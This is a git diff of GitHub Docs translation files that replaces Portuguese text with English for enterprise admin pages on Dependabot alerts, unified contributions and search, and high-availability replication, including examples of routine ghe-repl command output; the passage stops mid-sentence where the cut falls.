%} +### Enabling {% data variables.product.prodname_dependabot_alerts %} {% ifversion ghes %} -Antes de habilitar {% data variables.product.prodname_dependabot_alerts %} para sua instância, você deverá habilitar o gráfico de dependências. Para obter mais informações, consulte acima. +Before enabling {% data variables.product.prodname_dependabot_alerts %} for your instance, you need to enable the dependency graph. For more information, see above. {% endif %} {% data reusables.enterprise-accounts.access-enterprise %} {%- ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %} {% data reusables.enterprise-accounts.github-connect-tab %} -1. Em "Repositórios podem ser digitalizados com relação a vulnerabilidades", selecione o menu suspenso e clique em **Habilitado sem notificações**. Opcionalmente, para habilitar alertas com notificações, clique em **Habilitado com as notificações**. ![Menu suspenso para habilitar a verificação vulnerabilidades nos repositórios](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png) +1. Under "Repositories can be scanned for vulnerabilities", select the drop-down menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**. + ![Drop-down menu to enable scanning repositories for vulnerabilities](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png) {% tip %} - - **Dica**: Recomendamos configurar {% data variables.product.prodname_dependabot_alerts %} sem notificações para os primeiros dias para evitar uma sobrecarga de e-mails. Após alguns dias, você poderá habilitar as notificações para receber {% data variables.product.prodname_dependabot_alerts %}, como de costume. + + **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. After a few days, you can enable notifications to receive {% data variables.product.prodname_dependabot_alerts %} as usual. {% endtip %} {% ifversion fpt or ghec or ghes > 3.2 %} -Ao habilitar {% data variables.product.prodname_dependabot_alerts %}, você também deve considerar configurar {% data variables.product.prodname_actions %} para {% data variables.product.prodname_dependabot_security_updates %}. Este recurso permite aos desenvolvedores corrigir a vulnerabilidades nas suas dependências. Para obter mais informações, consulte "[Configurando a segurança de {% data variables.product.prodname_dependabot %} e as atualizações de versão na sua empresa](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)". +When you enable {% data variables.product.prodname_dependabot_alerts %}, you should consider also setting up {% data variables.product.prodname_actions %} for {% data variables.product.prodname_dependabot_security_updates %}. This feature allows developers to fix vulnerabilities in their dependencies. For more information, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)." {% endif %} -## Exibir dependências vulneráveis no {% data variables.product.product_location %} +## Viewing vulnerable dependencies on {% data variables.product.product_location %} -Você pode exibir todas as vulnerabilidades na {% data variables.product.product_location %} e sincronizar manualmente os dados de vulnerabilidade do {% data variables.product.prodname_dotcom_the_website %} para atualizar a lista. +You can view all vulnerabilities in {% data variables.product.product_location %} and manually sync vulnerability data from {% data variables.product.prodname_dotcom_the_website %} to update the list. {% data reusables.enterprise_site_admin_settings.access-settings %} -2. Na barra lateral esquerda, clique em **Vulnerabilities** (Vulnerabilidades). ![Guia Vulnerabilities (Vulnerabilidades) na barra lateral de administração do site](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png) -3. Para sincronizar os dados de vulnerabilidade, clique em **Sync Vulnerabilities now** (Sincronizar vulnerabilidades agora). ![Botão Sync Vulnerabilities now (Sincronizar vulnerabilidades agora)](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png) +2. In the left sidebar, click **Vulnerabilities**. + ![Vulnerabilities tab in the site admin sidebar](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png) +3. To sync vulnerability data, click **Sync Vulnerabilities now**. + ![Sync vulnerabilities now button](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png) diff --git a/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md new file mode 100644 index 0000000000..3147912f21 --- /dev/null +++ b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md @@ -0,0 +1,47 @@ +--- +title: Enabling unified contributions between your enterprise account and GitHub.com +shortTitle: Enable unified contributions +intro: 'After enabling {% data variables.product.prodname_github_connect %}, you can allow {% data variables.product.prodname_ghe_cloud %} members to highlight their work on {% data variables.product.product_name %} by sending the contribution counts to their {% data variables.product.prodname_dotcom_the_website %} profiles.' +redirect_from: + - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-and-github-com/ + - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-github-com/ + - /enterprise/admin/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-githubcom/ + - /enterprise/admin/installation/enabling-unified-contributions-between-github-enterprise-server-and-githubcom + - /enterprise/admin/configuration/enabling-unified-contributions-between-github-enterprise-server-and-githubcom + - /admin/configuration/enabling-unified-contributions-between-github-enterprise-server-and-githubcom + - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-unified-contributions-between-github-enterprise-server-and-githubcom +permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable unified contributions between {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}.' +versions: + ghes: '*' + ghae: next +type: how_to +topics: + - Enterprise + - GitHub Connect +--- + +{% data reusables.github-connect.beta %} + +As an enterprise owner, you can allow end users to send anonymized contribution counts for their work from {% data variables.product.product_location %} to their {% data variables.product.prodname_dotcom_the_website %} contribution graph. + +After you enable {% data variables.product.prodname_github_connect %} and enable {% data variables.product.prodname_unified_contributions %} in both environments, end users on your enterprise account can connect to their {% data variables.product.prodname_dotcom_the_website %} accounts and send contribution counts from {% data variables.product.product_name %} to {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.github-connect.sync-frequency %} For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." + +If the enterprise owner disables the functionality or developers opt out of the connection, the {% data variables.product.product_name %} contribution counts will be deleted on {% data variables.product.prodname_dotcom_the_website %}. If the developer reconnects their profiles after disabling them, the contribution counts for the past 90 days are restored. + +{% data variables.product.product_name %} **only** sends the contribution count and source ({% data variables.product.product_name %}) for connected users. It does not send any information about the contribution or how it was made. + +Before enabling {% data variables.product.prodname_unified_contributions %} on {% data variables.product.product_location %}, you must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." + +{% ifversion ghes %} +{% data reusables.github-connect.access-dotcom-and-enterprise %} +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.business %} +{% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. +{% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} +1. Under "Users can share contribution counts to {% data variables.product.prodname_dotcom_the_website %}", click **Request access**. + ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %} +2. [Sign in](https://enterprise.github.com/login) to the {% data variables.product.prodname_ghe_server %} site to receive further instructions. + +When you request access, we may redirect you to the {% data variables.product.prodname_ghe_server %} site to check your current terms of service. +{% endif %} diff --git a/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md new file mode 100644 index 0000000000..412d68ed18 --- /dev/null +++ b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md @@ -0,0 +1,49 @@ +--- +title: Enabling unified search between your enterprise account and GitHub.com +shortTitle: Enable unified search +intro: 'After enabling {% data variables.product.prodname_github_connect %}, you can allow search of {% data variables.product.prodname_dotcom_the_website %} for members of your enterprise on {% data variables.product.product_name %}.' +redirect_from: + - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-and-github-com/ + - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-github-com/ + - /enterprise/admin/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-githubcom/ + - /enterprise/admin/installation/enabling-unified-search-between-github-enterprise-server-and-githubcom + - /enterprise/admin/configuration/enabling-unified-search-between-github-enterprise-server-and-githubcom + - /admin/configuration/enabling-unified-search-between-github-enterprise-server-and-githubcom + - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-unified-search-between-github-enterprise-server-and-githubcom +permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable unified search between {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %}.' +versions: + ghes: '*' + ghae: next +type: how_to +topics: + - Enterprise + - GitHub Connect + - GitHub search +--- + +{% data reusables.github-connect.beta %} + +When you enable unified search, users can view search results from public and private content on {% data variables.product.prodname_dotcom_the_website %} when searching from {% data variables.product.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}. + +After you enable unified search for {% data variables.product.product_location %}, individual users must also connect their user accounts on {% data variables.product.product_name %} with their user accounts on {% data variables.product.prodname_dotcom_the_website %} in order to see search results from {% data variables.product.prodname_dotcom_the_website %} on {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search in your private enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)." + +Users will not be able to search {% data variables.product.product_location %} from {% data variables.product.prodname_dotcom_the_website %}, even if they have access to both environments. Users can only search private repositories you've enabled {% data variables.product.prodname_unified_search %} for and that they have access to in the connected {% data variables.product.prodname_ghe_cloud %} organizations. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)." + +Searching via the REST and GraphQL APIs does not include {% data variables.product.prodname_dotcom_the_website %} search results. Advanced search and searching for wikis in {% data variables.product.prodname_dotcom_the_website %} are not supported. + +{% ifversion ghes %} +{% data reusables.github-connect.access-dotcom-and-enterprise %} +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.business %} +{% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. +{% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} +1. Under "Users can search {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. + ![Enable search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png) +1. Optionally, under "Users can search private repositories on {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. + ![Enable private repositories search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/enable-private-search.png) + +## Further reading + +- "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)" + diff --git a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md index 159e8a3417..60b1d3bbae 100644 --- a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md +++ b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md @@ -1,6 +1,6 @@ --- -title: Sobre a configuração de alta disponibilidade -intro: 'Na configuração de alta disponibilidade, um appliance do {% data variables.product.prodname_ghe_server %} secundário totalmente redundante é mantido em sincronização com o appliance primário pela replicação de todos os principais armazenamentos de dados.' +title: About high availability configuration +intro: 'In a high availability configuration, a fully redundant secondary {% data variables.product.prodname_ghe_server %} appliance is kept in sync with the primary appliance through replication of all major datastores.' redirect_from: - /enterprise/admin/installation/about-high-availability-configuration - /enterprise/admin/enterprise-management/about-high-availability-configuration @@ -12,113 +12,112 @@ topics: - Enterprise - High availability - Infrastructure -shortTitle: Sobre a configuração HA +shortTitle: About HA configuration --- +When you configure high availability, there is an automated setup of one-way, asynchronous replication of all datastores (Git repositories, MySQL, Redis, and Elasticsearch) from the primary to the replica appliance. -Quando você configura alta disponibilidade, há uma configuração automatizada de replicação assíncrona e unidirecional de todos os armazenamentos de dados (repositórios do Git, MySQL, Redis e Elasticsearch) do appliance primário para o appliance réplica. - -O {% data variables.product.prodname_ghe_server %} dá suporte a uma configuração ativa/passiva, em que o appliance réplica é executado em espera com os serviços de banco de dados em execução no modo de replicação, mas os serviços de aplicativos são interrompidos. +{% data variables.product.prodname_ghe_server %} supports an active/passive configuration, where the replica appliance runs as a standby with database services running in replication mode but application services stopped. {% data reusables.enterprise_installation.replica-limit %} -## Cenários de falha +## Targeted failure scenarios -Use a configuração de alta disponibilidade para proteção contra: +Use a high availability configuration for protection against: {% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %} -A configuração de alta disponibilidade não é uma boa solução para: +A high availability configuration is not a good solution for: - - **Dimensionamento**. Mesmo que você possa distribuir o tráfego geograficamente usando a replicação geográfica, o desempenho das gravações fica limitado à velocidade e à disponibilidade do appliance primário. Para obter mais informações, consulte "[Sobre a georreplicação](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)".{% ifversion ghes > 3.2 %} - - **Carga de CI/CD**. Se você tiver um grande número de clientes de CI que estão geograficamente distantes da sua instância principal, você pode beneficiar-se de configurar um cache de repositório. Para obter mais informações, consulte "[Sobre o cache do repositório](/admin/enterprise-management/caching-repositories/about-repository-caching)".{% endif %} - - **Backup do appliance primário**. Uma réplica de alta disponibilidade não substitui os backups externos do seu plano de recuperação de desastres. Algumas formas de violação ou perda de dados podem ser replicadas de imediato do appliance primário para o de réplica. Para garantir a reversão segura a um estado anterior estável, você deve fazer backups regulares com instantâneos de histórico. - - **Atualizações sem tempo de inatividade**. Para evitar a perda de dados e situações de split-brain em cenários de promoção controlados, deixe o appliance primário em modo de manutenção e aguarde a conclusão de todas as gravações antes de promover o de réplica. + - **Scaling-out**. While you can distribute traffic geographically using geo-replication, the performance of writes is limited to the speed and availability of the primary appliance. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."{% ifversion ghes > 3.2 %} + - **CI/CD load**. If you have a large number of CI clients that are geographically distant from your primary instance, you may benefit from configuring a repository cache. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."{% endif %} + - **Backing up your primary appliance**. A high availability replica does not replace off-site backups in your disaster recovery plan. Some forms of data corruption or loss may be replicated immediately from the primary to the replica. To ensure safe rollback to a stable past state, you must perform regular backups with historical snapshots. + - **Zero downtime upgrades**. To prevent data loss and split-brain situations in controlled promotion scenarios, place the primary appliance in maintenance mode and wait for all writes to complete before promoting the replica. -## Estratégias de failover no tráfego de rede +## Network traffic failover strategies -Durante o failover, você deve configurar e gerenciar separadamente o redirecionamento do tráfego de rede do appliance primário para o de réplica. +During failover, you must separately configure and manage redirecting network traffic from the primary to the replica. -### Failover DNS +### DNS failover -Com o failover DNS, use valores curtos de TTL nos registros DNS que apontam para o appliance primário {% data variables.product.prodname_ghe_server %}. Recomenda-se um TTL entre 60 segundos e cinco minutos. +With DNS failover, use short TTL values in the DNS records that point to the primary {% data variables.product.prodname_ghe_server %} appliance. We recommend a TTL between 60 seconds and five minutes. -Durante o failover, você deve deixar o appliance primário no modo de manutenção e redirecionar seus registros DNS para o endereço IP do appliance réplica. O tempo para redirecionar o tráfego do appliance primário para o de réplica dependerá da configuração do TTL e do tempo necessário para atualizar os registros DNS. +During failover, you must place the primary into maintenance mode and redirect its DNS records to the replica appliance's IP address. The time needed to redirect traffic from primary to replica will depend on the TTL configuration and time required to update the DNS records. -Se estiver usando replicação geográfica, você deverá configurar o DNS de localização geográfica para direcionar o tráfego à réplica mais próxima. Para obter mais informações, consulte "[Sobre a replicação geográfica](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)". +If you are using geo-replication, you must configure Geo DNS to direct traffic to the nearest replica. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)." -### Balanceador de carga +### Load balancer {% data reusables.enterprise_clustering.load_balancer_intro %} {% data reusables.enterprise_clustering.load_balancer_dns %} -Durante o failover, você deve deixar o appliance principal em modo de manutenção. É possível configurar o balanceador de carga para detectar automaticamente quando o de réplica for promovido a primário, ou ele pode exigir uma alteração manual na configuração. Antes que o de réplica responda ao tráfego do usuário, você deve promovê-lo manualmente a primário. Para obter mais informações, consulte "[Usar o {% data variables.product.prodname_ghe_server %} com balanceador de carga](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)". +During failover, you must place the primary appliance into maintenance mode. You can configure the load balancer to automatically detect when the replica has been promoted to primary, or it may require a manual configuration change. You must manually promote the replica to primary before it will respond to user traffic. For more information, see "[Using {% data variables.product.prodname_ghe_server %} with a load balancer](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)." {% data reusables.enterprise_installation.monitoring-replicas %} -## Utilitários para o gerenciamento de replicações +## Utilities for replication management -Para gerenciar a replicação no {% data variables.product.prodname_ghe_server %}, use estes utilitários de linha de comando ao se conectar ao appliance réplica usando SSH. +To manage replication on {% data variables.product.prodname_ghe_server %}, use these command line utilities by connecting to the replica appliance using SSH. ### ghe-repl-setup -O comando `ghe-repl-setup` deixa o appliance do {% data variables.product.prodname_ghe_server %} em modo de espera de réplica. +The `ghe-repl-setup` command puts a {% data variables.product.prodname_ghe_server %} appliance in replica standby mode. - - Um túnel VPN WireGuard criptografado é configurado para comunicação entre os dois aparelhos. - - Os serviços de banco de dados são configurados para replicação e iniciados. - - Os serviços de aplicativos ficam desabilitados. As tentativas de acessar o appliance réplica por HTTP, Git ou outros protocolos com suporte levarão a uma página de manutenção "appliance em modo de réplica" ou a uma mensagem de erro. + - An encrypted WireGuard VPN tunnel is configured for communication between the two appliances. + - Database services are configured for replication and started. + - Application services are disabled. Attempts to access the replica appliance over HTTP, Git, or other supported protocols will result in an "appliance in replica mode" maintenance page or error message. ```shell admin@169-254-1-2:~$ ghe-repl-setup 169.254.1.1 -Verificando conectividade ssh com 169.254.1.1 ... -Verificação de conexão com êxito. -Configurando replicação de banco de em relação ao primário... +Verifying ssh connectivity with 169.254.1.1 ... +Connection check succeeded. +Configuring database replication against primary ... Success: Replica mode is configured against 169.254.1.1. To disable replica mode and undo these changes, run `ghe-repl-teardown'. -Execute `ghe-repl-start' para começar a replicar em relação ao primário recém-configurado. +Run `ghe-repl-start' to start replicating against the newly configured primary. ``` ### ghe-repl-start -O comando `ghe-repl-start` habilita a replicação ativa de todos os armazenamentos de dados. +The `ghe-repl-start` command turns on active replication of all datastores. ```shell admin@169-254-1-2:~$ ghe-repl-start Starting MySQL replication ... -Iniciando replicação Redis... -Iniciando replicação Elasticsearch... -Iniciando replicação Pages... -Iniciando replicação Git... -Sucesso: replicação em execução em todos os serviços. -Use 'ghe-repl-status' para monitorar a integridade e o andamento da replicação. +Starting Redis replication ... +Starting Elasticsearch replication ... +Starting Pages replication ... +Starting Git replication ... +Success: replication is running for all services. +Use `ghe-repl-status' to monitor replication health and progress. ``` ### ghe-repl-status -O comando `ghe-repl-status` retorna um status `OK`, `WARNING` ou `CRITICAL` para cada fluxo de replicação de armazenamento de dados. Quando qualquer um dos canais de replicação estiver em estado `WARNING`, o comando sairá com código `1`. Quando qualquer um dos canais de replicação estiver em estado `CRITICAL`, o comando sairá com código `2`. +The `ghe-repl-status` command returns an `OK`, `WARNING` or `CRITICAL` status for each datastore replication stream. When any of the replication channels are in a `WARNING` state, the command will exit with the code `1`. Similarly, when any of the channels are in a `CRITICAL` state, the command will exit with the code `2`. ```shell admin@169-254-1-2:~$ ghe-repl-status -OK: replicação mysql em sincronização -OK: replicação redis em sincronização -OK: replicação cluster elasticsearch em sincronização -OK: dados do git em sincronização (10 repos, 2 wikis, 5 gists) -OK: dados do pages em sincronização +OK: mysql replication in sync +OK: redis replication is in sync +OK: elasticsearch cluster is in sync +OK: git data is in sync (10 repos, 2 wikis, 5 gists) +OK: pages data is in sync ``` -As opções `-v` e `-vv` mostram detalhes sobre o estado da replicação de cada armazenamento de dados: +The `-v` and `-vv` options give details about each datastore's replication state: ```shell $ ghe-repl-status -v -OK: replicação mysql em sincronização - | IO em execução: Sim, SQL em execução: Sim, atraso: 0 +OK: mysql replication in sync + | IO running: Yes, SQL running: Yes, Delay: 0 -OK: replicação redis em sincronização +OK: redis replication is in sync | master_host:169.254.1.1 | master_port:6379 | master_link_status:up | master_last_io_seconds_ago:3 | master_sync_in_progress:0 -OK: cluster elasticsearch em sincronização +OK: elasticsearch cluster is in sync | { | "cluster_name" : "github-enterprise", | "status" : "green", @@ -132,58 +131,59 @@ OK: cluster elasticsearch em sincronização | "unassigned_shards" : 0 | } -OK: dados do git em sincronização (366 repos, 31 wikis, 851 gists) - | TOTAL OK AUSENTE PENDENTE ATRASO - | repositórios 366 366 0 0 0.0 +OK: git data is in sync (366 repos, 31 wikis, 851 gists) + | TOTAL OK FAULT PENDING DELAY + | repositories 366 366 0 0 0.0 | wikis 31 31 0 0 0.0 | gists 851 851 0 0 0.0 | total 1248 1248 0 0 0.0 -OK: dados do pages em sincronização - | Pages em sincronização +OK: pages data is in sync + | Pages are in sync ``` ### ghe-repl-stop -O comando `ghe-repl-stop` desativa temporariamente a replicação para todos os armazenamentos de dados e interrompe os serviços de replicação. Para retomar a replicação, use o comando [ghe-repl-start](#ghe-repl-start). +The `ghe-repl-stop` command temporarily disables replication for all datastores and stops the replication services. To resume replication, use the [ghe-repl-start](#ghe-repl-start) command. ```shell admin@168-254-1-2:~$ ghe-repl-stop -Parando replicação Pages... -Parando replicação Git... -Parando replicação MySQL... -Parando replicação Redis... -Parando replicação Elasticsearch... -Sucesso: replicação parada em todos os serviços. +Stopping Pages replication ... +Stopping Git replication ... +Stopping MySQL replication ... +Stopping Redis replication ... +Stopping Elasticsearch replication ... +Success: replication was stopped for all services. ``` ### ghe-repl-promote -O comando `ghe-repl-promote` desativa a replicação e converte o appliance réplica em appliance primário. O appliance é configurado com as mesmas configurações do primário original, e todos os serviços ficam ativados. +The `ghe-repl-promote` command disables replication and converts the replica appliance to a primary. The appliance is configured with the same settings as the original primary and all services are enabled. {% data reusables.enterprise_installation.promoting-a-replica %} ```shell admin@168-254-1-2:~$ ghe-repl-promote -Habilitando modo de manutenção em primário para evitar gravações... -Parando replicação... - Parando replicação Pages... - | Parando replicação Git... - | Parando replicação MySQL... - | Parando replicação Redis... - | Parando replicação Elasticsearch... - | Sucesso: replicação parada em todos os serviços. -Alternando modo réplica... - | Sucesso: configuração de replicação removida. - | Execute `ghe-repl-setup' para habilitar novamente o modo réplica. -Aplicando configuração e iniciando serviços... -Sucesso: a réplica foi promovida para primária e agora aceita solicitações. +Enabling maintenance mode on the primary to prevent writes ... +Stopping replication ... + | Stopping Pages replication ... + | Stopping Git replication ... + | Stopping MySQL replication ... + | Stopping Redis replication ... + | Stopping Elasticsearch replication ... + | Success: replication was stopped for all services. +Switching out of replica mode ... + | Success: Replication configuration has been removed. + | Run `ghe-repl-setup' to re-enable replica mode. +Applying configuration and starting services ... +Success: Replica has been promoted to primary and is now accepting requests. ``` ### ghe-repl-teardown -O comando `ghe-repl-teardown` desativa por completo o modo de replicação, removendo a configuração da réplica. +The `ghe-repl-teardown` command disables replication mode completely, removing the replica configuration. -## Leia mais +## Further reading -- [Criar réplica de alta disponibilidade](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica) +- "[Creating a high availability replica](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)" +- "[Network ports](/admin/configuration/configuring-network-settings/network-ports)" \ No newline at end of file diff --git a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md index 58bc50b634..31d4dbeb3f 100644 --- a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md +++ b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md @@ -1,6 +1,6 @@ --- -title: Criar réplica de alta disponibilidade -intro: 'Em uma configuração ativa/passiva, o appliance réplica é uma cópia redundante do appliance primário. Em caso de falha no appliance primário, o modo de alta disponibilidade permitirá que a réplica atue como appliance primário, mitigando as interrupções de serviço.' +title: Creating a high availability replica +intro: 'In an active/passive configuration, the replica appliance is a redundant copy of the primary appliance. If the primary appliance fails, high availability mode allows the replica to act as the primary appliance, allowing minimal service disruption.' redirect_from: - /enterprise/admin/installation/creating-a-high-availability-replica - /enterprise/admin/enterprise-management/creating-a-high-availability-replica @@ -12,82 +12,82 @@ topics: - Enterprise - High availability - Infrastructure -shortTitle: Criar réplica HA +shortTitle: Create HA replica --- - {% data reusables.enterprise_installation.replica-limit %} -## Criar réplica de alta disponibilidade +## Creating a high availability replica -1. Configure um novo appliance do {% data variables.product.prodname_ghe_server %} na plataforma desejada. O appliance réplica deve refletir as configurações de CPU, RAM e armazenamento do appliance primário. É recomendável instalar o appliance réplica em um ambiente independente. Hardware, software e componentes de rede subjacentes devem ser isolados dos do appliance primário. Se estiver em um provedor de nuvem, use uma região ou zona separada. Para obter mais informações, consulte [Configurar uma instância do {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance). -2. Em um navegador, vá até o novo endereço IP do appliance réplica e faça o upload da sua licença do {% data variables.product.prodname_enterprise %}. +1. Set up a new {% data variables.product.prodname_ghe_server %} appliance on your desired platform. The replica appliance should mirror the primary appliance's CPU, RAM, and storage settings. We recommend that you install the replica appliance in an independent environment. The underlying hardware, software, and network components should be isolated from those of the primary appliance. If you are a using a cloud provider, use a separate region or zone. For more information, see ["Setting up a {% data variables.product.prodname_ghe_server %} instance"](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance). +1. Ensure that both the primary appliance and the new replica appliance can communicate with each other over ports 122/TCP and 1194/UDP. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)." +1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license. {% data reusables.enterprise_installation.replica-steps %} -6. Conecte-se ao endereço IP do appliance réplica usando SSH. +1. Connect to the replica appliance's IP address using SSH. ```shell $ ssh -p 122 admin@REPLICA IP ``` {% data reusables.enterprise_installation.generate-replication-key-pair %} {% data reusables.enterprise_installation.add-ssh-key-to-primary %} -9. Para verificar a conexão com o primário e habilitar o modo de réplica para a nova réplica, execute `ghe-repl-setup` novamente. +1. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again. ```shell $ ghe-repl-setup PRIMARY IP ``` {% data reusables.enterprise_installation.replication-command %} {% data reusables.enterprise_installation.verify-replication-channel %} -## Criar réplicas com replicação geográfica +## Creating geo-replication replicas -Este exemplo de configuração usa um primário e duas réplicas, localizados em três regiões geográficas diferentes. Mesmo que os três nós estejam em redes diferentes, todos os nós precisam estar acessíveis entre si. No mínimo, as portas administrativas necessárias devem ficar abertas para todos os outros nós. Para obter mais informações sobre os requisitos de portas, consulte "[Portas de rede](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)". +This example configuration uses a primary and two replicas, which are located in three different geographic regions. While the three nodes can be in different networks, all nodes are required to be reachable from all the other nodes. At the minimum, the required administrative ports should be open to all the other nodes. For more information about the port requirements, see "[Network Ports](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)." -1. Crie a primeira réplica da mesma forma que você faria em uma configuração padrão de dois nós executando `ghe-repl-setup` na primeira réplica. +1. Create the first replica the same way you would for a standard two node configuration by running `ghe-repl-setup` on the first replica. ```shell (replica1)$ ghe-repl-setup PRIMARY IP (replica1)$ ghe-repl-start ``` -2. Crie a segunda réplica e use o comando `ghe-repl-setup --add`. O sinalizador `--add` impede a substituição da configuração de replicação atual e adiciona a nova réplica à configuração. +2. Create a second replica and use the `ghe-repl-setup --add` command. The `--add` flag prevents it from overwriting the existing replication configuration and adds the new replica to the configuration. ```shell (replica2)$ ghe-repl-setup --add PRIMARY IP (replica2)$ ghe-repl-start ``` -3. Por padrão, as réplicas são configuradas no mesmo centro de dados e agora tentarão propagar a partir de um nó existente no mesmo centro de dados. Configure as réplicas para datacenters diferentes definindo outros valores na opção do datacenter. Você pode especificar os valores que preferir, desde que sejam diferentes uns dos outros. Execute o comando `ghe-repl-node` em cada nó e especifique o datacenter. +3. By default, replicas are configured to the 